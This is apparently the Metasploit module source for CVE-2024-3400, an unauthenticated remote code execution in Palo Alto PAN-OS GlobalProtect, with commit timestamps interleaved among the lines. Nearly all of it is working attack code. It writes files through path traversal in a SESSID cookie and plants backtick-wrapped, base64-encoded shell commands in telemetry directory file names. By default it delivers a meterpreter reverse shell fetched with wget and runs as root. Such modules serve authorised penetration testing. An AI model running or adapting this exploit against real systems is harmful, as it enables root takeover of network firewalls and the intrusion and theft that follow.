2024-04-17 13:52:50 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
2024-04-18 18:21:12 -05:00
include Msf :: Exploit :: FileDropper
2024-04-17 13:52:50 -05:00
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution' ,
'Description' = > %q{
2024-04-18 18:21:12 -05:00
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
allow an unauthenticated attacker to create arbitrarily named files and execute
2024-04-17 13:52:50 -05:00
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
2024-04-18 18:21:12 -05:00
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
one hour to execute, depending on how often the telemetry service is set to run.
2024-04-17 13:52:50 -05:00
} ,
2024-04-17 13:54:58 -05:00
'License' = > MSF_LICENSE ,
2024-04-17 13:52:50 -05:00
'Author' = > [
'remmons-r7' , # Metasploit module
'sfewer-r7' # Metasploit module
] ,
'References' = > [
2024-04-18 18:21:12 -05:00
[ 'CVE' , '2024-3400' ] , # At the time of announcement, both vulnerabilities were assigned one CVE identifier
2024-04-17 13:52:50 -05:00
[ 'URL' , 'https://security.paloaltonetworks.com/CVE-2024-3400' ] , # Vendor Advisory
2024-04-18 18:21:12 -05:00
[ 'URL' , 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/' ] , # Initial Volexity report of the 0day exploitation
[ 'URL' , 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis' ] # Rapid7 Analysis
2024-04-17 13:52:50 -05:00
] ,
'DisclosureDate' = > '2024-04-12' ,
2024-04-18 18:21:12 -05:00
'Platform' = > [ 'linux' , 'unix' ] ,
'Arch' = > [ ARCH_CMD ] ,
2024-04-17 13:52:50 -05:00
'Privileged' = > true , # Executes as root on Linux
'Targets' = > [ [ 'Default' , { } ] ] ,
'DefaultOptions' = > {
2024-04-18 08:21:18 -05:00
'PAYLOAD' = > 'cmd/linux/http/x64/meterpreter_reverse_tcp' ,
2024-04-17 13:52:50 -05:00
'FETCH_COMMAND' = > 'WGET' ,
'RPORT' = > 443 ,
'SSL' = > true ,
'FETCH_WRITABLE_DIR' = > '/var/tmp' ,
2024-04-18 18:21:12 -05:00
'WfsDelay' = > 3600 # 1h, since telemetry service cronjob can take up to an hour
2024-04-17 13:52:50 -05:00
} ,
'DefaultTarget' = > 0 ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [
IOC_IN_LOGS ,
2024-04-18 18:21:12 -05:00
# The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created
# The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log
# Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests
# The "device_telemetry_*.log" files in /var/log/pan will log the command being injected
2024-04-17 13:52:50 -05:00
ARTIFACTS_ON_DISK
2024-04-18 18:21:12 -05:00
# Several 0 length files are created in the following directories during checks and exploitation:
2024-04-17 13:52:50 -05:00
# - /opt/panlogs/tmp/device_telemetry/hour/
# - /opt/panlogs/tmp/device_telemetry/minute/
# - /var/appweb/sslvpndocs/global-protect/portal/fonts/
]
}
)
)
register_options (
[
2024-04-18 08:25:06 -05:00
OptString . new ( 'TARGETURI' , [ true , 'An existing web application endpoint' , '/global-protect/login.esp' ] ) ,
2024-04-17 13:52:50 -05:00
]
)
end
def check
# Try to create a new empty file in an accessible directory with the exploit primitive
2024-04-18 18:21:12 -05:00
# This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory
2024-04-17 13:52:50 -05:00
file_check_name = " glyphicons- #{ Rex :: Text . rand_text_alpha_lower ( 8 ) } -regular.woff2 "
2024-04-17 15:40:08 -05:00
touch_file ( " /var/appweb/sslvpndocs/global-protect/portal/fonts/ #{ file_check_name } " )
2024-04-17 13:52:50 -05:00
# Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
res_check_created = send_request_cgi (
'method' = > 'GET' ,
2024-04-18 18:21:12 -05:00
'uri' = > normalize_uri ( 'global-protect' , 'portal' , 'fonts' , file_check_name )
2024-04-17 13:52:50 -05:00
)
2024-04-18 18:21:12 -05:00
return CheckCode :: Unknown ( 'Connection failed' ) unless res_check_created
2024-04-17 13:52:50 -05:00
res_check_not_created = send_request_cgi (
'method' = > 'GET' ,
2024-04-18 18:21:12 -05:00
'uri' = > normalize_uri ( 'global-protect' , 'portal' , 'fonts' , " X #{ file_check_name } " )
2024-04-17 13:52:50 -05:00
)
2024-04-18 18:21:12 -05:00
return CheckCode :: Unknown ( 'Connection failed' ) unless res_check_not_created
2024-04-17 13:52:50 -05:00
2024-04-18 18:21:12 -05:00
if ( res_check_created . code != 403 ) || ( res_check_not_created . code != 404 )
return CheckCode :: Safe ( 'Arbitrary file write did not succeed' )
end
2024-04-17 13:52:50 -05:00
2024-04-18 18:21:12 -05:00
CheckCode :: Vulnerable ( " Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/ #{ file_check_name } NOTE: This file will not be deleted " )
2024-04-17 13:52:50 -05:00
end
def touch_file ( file )
# Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
2024-04-18 18:21:12 -05:00
fail_with ( Failure :: BadConfig , 'Semicolon cannot be present in file name, due to the cookie injection context' ) if file . include? ';'
2024-04-17 15:44:45 -05:00
send_request_cgi (
2024-04-17 13:52:50 -05:00
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path ) ,
'headers' = > {
'Cookie' = > " SESSID=./../../../.. #{ file } "
}
)
end
def exploit
2024-04-18 18:21:12 -05:00
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context
# Since payloads cannot contain spaces, ${IFS} is used as a separator
cmd = " echo${IFS}-n${IFS} #{ Rex :: Text . encode_base64 ( payload . encoded ) } |base64${IFS}-d|bash${IFS}- "
# Create maliciously named files in both telemetry directories that might be used by affected versions
# Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'.
# It's possible that the payload will execute twice, but we've only observed one location working during testing
files = [
" /opt/panlogs/tmp/device_telemetry/hour/ #{ Rex :: Text . rand_text_alpha_lower ( 4 ) } ` #{ cmd } ` " ,
" /opt/panlogs/tmp/device_telemetry/minute/ #{ Rex :: Text . rand_text_alpha_lower ( 4 ) } ` #{ cmd } ` "
]
2024-04-18 18:34:18 -05:00
files . each do | file_path |
vprint_status ( " Creating file at #{ file_path } " )
touch_file ( file_path )
2024-04-18 18:21:12 -05:00
2024-04-18 18:34:18 -05:00
# Must register for clean up here instead of within touch_file, since touch_file is used in the check
register_file_for_cleanup ( file_path )
2024-04-18 18:21:12 -05:00
end
print_status ( 'Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload' )
print_status ( 'Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled' )
2024-04-17 13:52:50 -05:00
end
2024-04-18 18:34:18 -05:00
end